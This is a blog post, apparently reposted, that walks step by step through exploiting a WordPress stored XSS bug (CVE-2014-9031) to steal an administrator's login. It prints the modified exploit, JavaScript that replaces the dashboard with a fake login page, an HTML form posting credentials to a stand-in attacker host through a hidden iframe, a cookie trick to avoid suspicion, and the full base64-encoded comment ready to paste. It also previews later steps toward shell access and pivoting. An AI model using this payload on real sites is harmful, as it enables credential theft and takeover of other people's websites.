In today’s post I am going to show a real-world example of stealing someone’s WordPress credentials using XSS exploitation, and getting shell access to the underlying host.
I chose this topic because of the general misconceptions I have seen around the potential effectscross-site scripting (XSS). In addition, I find the usual pop-up alert(1) window inadequate to demonstrate the potential consequences of XSS to non-security people.
So I am going to show a complete walk-through process of owning a WordPress site and its hosting environment. We are going to exploit a recent WordPress bug in order to exfiltrate data from the site.
Let’s set up a dummy site running WordPress v2.8.6 on an unpatched Ubuntu 12.04 LTS machine. It simply represents a regular blog site running slightly outdated software.
As you can see, this is just a regular blog that allows visitors to comment on the posts. This is what we are going to exploit below. My goal is to present a fake login page to the WordPress administrator, and steal the username and password combination that he or she enters.
The attack vector I chose is a recent WordPress bug (CVE-2014-9031), that affects all WordPress releases up to v3.9.3. If you are interested in a detailed explanation of the vulnerability, check thereporter’s website for more details.
In a nutshell, arbitrary Javascript code can be inserted into WordPress pages using specially crafted user comments. The injected code will be executed on the administrator dashboard (/wp-admin) in the context of the administrator user.
Preparing the Exploit
Our first step is take the original exploit and modify it for delivering our malicious code instead of popping up the boring alert(1) window.
As a reminder, this is the original proof-of-concept from the original reporter:
[<blockquote cite="]">[" onmouseover="this.style.display='none';alert('exploit javascript running');" style="position:fixed;left:0px;top:0px;width:100%;height:100%;z-index:10000;display:block" ]
In order to rewrite the Edit Comments page, we need to replace alert(‘exploit javascript running’); with the following code written in Javascript:
if (document.cookie.indexOf('visited') >= 0) {} else { document.getElementById('wpwrap').innerHTML = atob('<<HTML GOES HERE>>'); document.getElementById('wpwrap').id = 'login'; document.getElementById('footer').innerHTML = ''; document.cookie = 'visited=true;path=/;max-age=' + 60 * 10; };
Line 2 will replace the contents for the Edit Comments page under the admin dashboard with our fake login page. Lines 3 and 4 meant to remove the footer to make our login page appear genuine. The last bit adds a cookie to the victim’s browser, as showing the login page over and over every time visiting the Edit Comments might raise suspicions. So Lines 1 and 5 are adding a cookie to the browser, which will prevent the fake page showing up more than once ever 10 minutes.
Note: The reason why I am not replacing everything between the <body></body> tags is some limitations (drop a comment for the technical details if you are interested). So we are replacing the contents between <div id=”wpwrap”></div> instead.
Adding the Payload
The next step is to craft the payload that is going to be inserted into line 2. The following HTML code mimes the standard WordPress login page prompting for the username and password.
<link rel='stylesheet' id='colors-fresh-css' href='css/colors-fresh.css' type='text/css' media='all' /> <link rel='stylesheet' id='login-css' href='css/login.css' type='text/css' media='all' /> <style> body { background: none; } #header { background: none; } #loginform { text-align: left; } p #nav { text-shadow: rgba(255,255,255,1) 0 1px 0; } .submit { padding: 0; } #backtoblog a { color: #ccc; } </style> <div id="login"><h1><a href="http://wordpress.org/" title="Powered by WordPress">Tripe Lover's Blog</a></h1> <form name="loginform" id="loginform" action="http://www.mallory.invalid/collect.php" method="POST" target="hidden-form"> <p> <label>Username<br /> <input type="text" name="u" id="user_login" class="input" value="" size="20" tabindex="10" /></label> </p> <p> <label>Password<br /> <input type="password" name="p" id="user_pass" class="input" value="" size="20" tabindex="20" /></label> </p> <p style="color:red">Session has expired, please log in</p> <p class="forgetmenot"><label><input name="rememberme" type="checkbox" id="rememberme" value="forever" tabindex="90" /> Remember Me</label></p> <p class="submit"> <input type="submit" name="wp-submit" id="wp-submit" value="Log In" tabindex="100" /> </p> </form> <p id="nav"> <a href="../wp-login.php?action=lostpassword" title="Password Lost and Found">Lost your password?</a> </p> </div> <p id="backtoblog"><a href="/blog" title="Are you lost?">← Back to Tripe Lover's Blog</a></p> <iframe style="display:none" name="hidden-form"></iframe> <script type="text/javascript"> try{document.getElementById('user_login').focus();}catch(e){} </script>
Line 27 defines where the stolen credentials should be sent in a hidden iframe. This is a non-existent URL for now, but I will come back to this later.
Delivering the Exploit
Now let’s Base64 encode the HTML payload (I will leave up to you this conversion), and replace the placeholder text in the exploit. The final minified code that goes into the comment field of the WordPress post is the following:
It is a real eye opening post, totally love it. [<blockquote cite="]">[" onmouseover="this.style.display='none'; if (document.cookie.indexOf('visited')>=0) {} else {document.getElementById('wpwrap').innerHTML=atob('PGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nY29sb3JzLWZyZXNoLWNzcycgIGhyZWY9J2Nzcy9jb2xvcnMtZnJlc2guY3NzJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nbG9naW4tY3NzJyAgaHJlZj0nY3NzL2xvZ2luLmNzcycgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+Cgo8c3R5bGU+CmJvZHkgewoJYmFja2dyb3VuZDogbm9uZTsKfQojaGVhZGVyIHsKCWJhY2tncm91bmQ6IG5vbmU7Cn0KI2xvZ2luZm9ybSB7Cgl0ZXh0LWFsaWduOiBsZWZ0Owp9CnAgI25hdiB7Cgl0ZXh0LXNoYWRvdzogcmdiYSgyNTUsMjU1LDI1NSwxKSAwIDFweCAwOwp9Ci5zdWJtaXQgewoJcGFkZGluZzogMDsKfQojYmFja3RvYmxvZyBhIHsKCWNvbG9yOiAjY2NjOwp9Cjwvc3R5bGU+Cgo8ZGl2IGlkPSJsb2dpbiI+PGgxPjxhIGhyZWY9Imh0dHA6Ly93b3JkcHJlc3Mub3JnLyIgdGl0bGU9IlBvd2VyZWQgYnkgV29yZFByZXNzIj5UcmlwZSBMb3ZlcidzIEJsb2c8L2E+PC9oMT4KCjxmb3JtIG5hbWU9ImxvZ2luZm9ybSIgaWQ9ImxvZ2luZm9ybSIgYWN0aW9uPSJodHRwOi8vd3d3Lm1hbGxvcnkuaW52YWxpZC9jb2xsZWN0LnBocCIgbWV0aG9kPSJQT1NUIiB0YXJnZXQ9ImhpZGRlbi1mb3JtIj4KCTxwPgoJCTxsYWJlbD5Vc2VybmFtZTxiciAvPgoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1IiBpZD0idXNlcl9sb2dpbiIgY2xhc3M9ImlucHV0IiB2YWx1ZT0iIiBzaXplPSIyMCIgdGFiaW5kZXg9IjEwIiAvPjwvbGFiZWw+Cgk8L3A+Cgk8cD4KCQk8bGFiZWw+UGFzc3dvcmQ8YnIgLz4KCQk8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiIGlkPSJ1c2VyX3Bhc3MiIGNsYXNzPSJpbnB1dCIgdmFsdWU9IiIgc2l6ZT0iMjAiIHRhYmluZGV4PSIyMCIgLz48L2xhYmVsPgoJPC9wPgoJPHAgc3R5bGU9ImNvbG9yOnJlZCI+U2Vzc2lvbiBoYXMgZXhwaXJlZCwgcGxlYXNlIGxvZyBpbjwvcD4KCTxwIGNsYXNzPSJmb3JnZXRtZW5vdCI+PGxhYmVsPjxpbnB1dCBuYW1lPSJyZW1lbWJlcm1lIiB0eXBlPSJjaGVja2JveCIgaWQ9InJlbWVtYmVybWUiIHZhbHVlPSJmb3JldmVyIiB0YWJpbmRleD0iOTAiIC8+IFJlbWVtYmVyIE1lPC9sYWJlbD48L3A+Cgk8cCBjbGFzcz0ic3VibWl0Ij4KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ3cC1zdWJtaXQiIGlkPSJ3cC1zdWJtaXQiIHZhbHVlPSJMb2cgSW4iIHRhYmluZGV4PSIxMDAiIC8+Cgk8L3A+CjwvZm9ybT4KCjxwIGlkPSJuYXYiPgo8YSBocmVmPSIuLi93cC1sb2dpbi5waHA/YWN0aW9uPWxvc3RwYXNzd29yZCIgdGl0bGU9IlBhc3N3b3JkIExvc3QgYW5kIEZvdW5kIj5Mb3N0IHlvdXIgcGFzc3dvcmQ/PC9hPgo8L3A+Cgo8L2Rpdj4KCjxwIGlkPSJiYWNrdG9ibG9nIj48YSBocmVmPSIvYmxvZyIgdGl0bGU9IkFyZSB5b3UgbG9zdD8iPiZsYXJyOyBCYWNrIHRvIFRyaXBlIExvdmVyJ3MgQmxvZzwvYT48L3A+Cgo8aWZyYW1lIHN0eWxlPSJkaXNwbGF5Om5vbmUiIG5hbWU9ImhpZGRlbi1mb3JtIj48L2lmcmFtZT4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KdHJ5e2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1c2VyX2xvZ2luJykuZm9jdXMoKTt9Y2F0Y2goZSl7fQo8L3NjcmlwdD4K'); document.getElementById('wpwrap').id='login'; document.getElementById('footer').innerHTML=''; document.cookie='visited=true;path=/;max-age='+60*10;<span class="Apple-converted-space"> </span>}; " style="position:fixed;left:0px;top:0px;width:100%;height:100%;z-index:10000;display:block" ]
The code is ready for exploitation! Now visit one of the victim’s post, and paste the exploit above as a new comment. The malicious code becomes an integral part of the page, ready to trick the victim.
Here Comes the XSS
The final part is when the WordPress administrator logs into the dashboard for moderating user comments. Normally this page looks like the following.
However, one of the listed comments contains our malicious code this time. As a consequence, the exploit is executed by the user’s browser once he/she navigates to Edit Comments.
So the sneaky code swings into action and overwrites Edit Comments with the fake login page from the payload. Notice the URL bar is intact, and the “Session Expired” text might probably make this login prompt genuine.
If the WordPress administrator enters his username and password here,his/her credentials are forwarded to the attacker’s website via a HTTP POST method (refer to line 27 in the payload for the URL). We used a hidden iframe (line 27 and 51) because the URL bar will not change in this case.
We can take a quick glance on the DOM of the modified page in the meantime. The highlighted line shows that the contents of the login form are sent to Mallory’s server using the POST method.
In addition to that, a cookie is added to the victim’s browser to prevent further pop-ups for the next 10 minutes.
After the credentials are sent and the cookie is set, the victim is redirected back to the Edit Comments page by collect.php. Because the cookie was added earlier, our exploit does not activate, so the page is loaded as usual this time. The exploit resides in Mallory’s comment on the top.
The administrator can manage the post’s comments as usual. However his/her credentials has been exposed to the attacker over the fake login page. The following screenshot shows the stolen credentials on the attackers machine saved by collect.php.
If we open the cookie jar, we can verify the presence of the “visited=true” cookie that prevents further fake login pages for the next 10 minutes.
Summary
We have managed to stole the username and password of a Wordpress administrator in the previous steps. Firstly, we have commented the victim’s blog post using a specially crafted comment. The exploit contained some Javascript code, which was executed once the administrator visited the Edit Comments page under the WordPress dashboard. The code has replaced the page’s HTML code with a fake WordPress login prompt, where the username and password were sent straight to the attacker. To avoid raising any suspicion, the exploit prompts for the credentials only once every 10 minutes.
What’s Next?
This post is the first part of a series of articles. In the next part, I am going to show how collect.phpworks, and other sneaky methods for collecting the stolen credentials. Later on, we are going to use the WordPress administrator account to get shell access to the underlying server. Finally we are going to dump the contents of the database, elevate our privileges to superuser, and use the compromised host as a pivot to compromise other systems.
Further Reading
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
'취약점 정보1' 카테고리의 다른 글
MS14-068 (0) | 2014.12.13 |
---|---|
CVE-2014-9218 phpMyAdmin DoS Proof of Concept (0) | 2014.12.11 |
Analysis of the CVE-2013-6435 Flaw in RPM (0) | 2014.12.11 |
CVE-2014-8500: A Defect in Delegation Handling Can Be Exploited to Crash BIND (0) | 2014.12.11 |
How bad is the SCHANNEL vulnerability (CVE-2014-6321) patched in MS14-066? (0) | 2014.11.17 |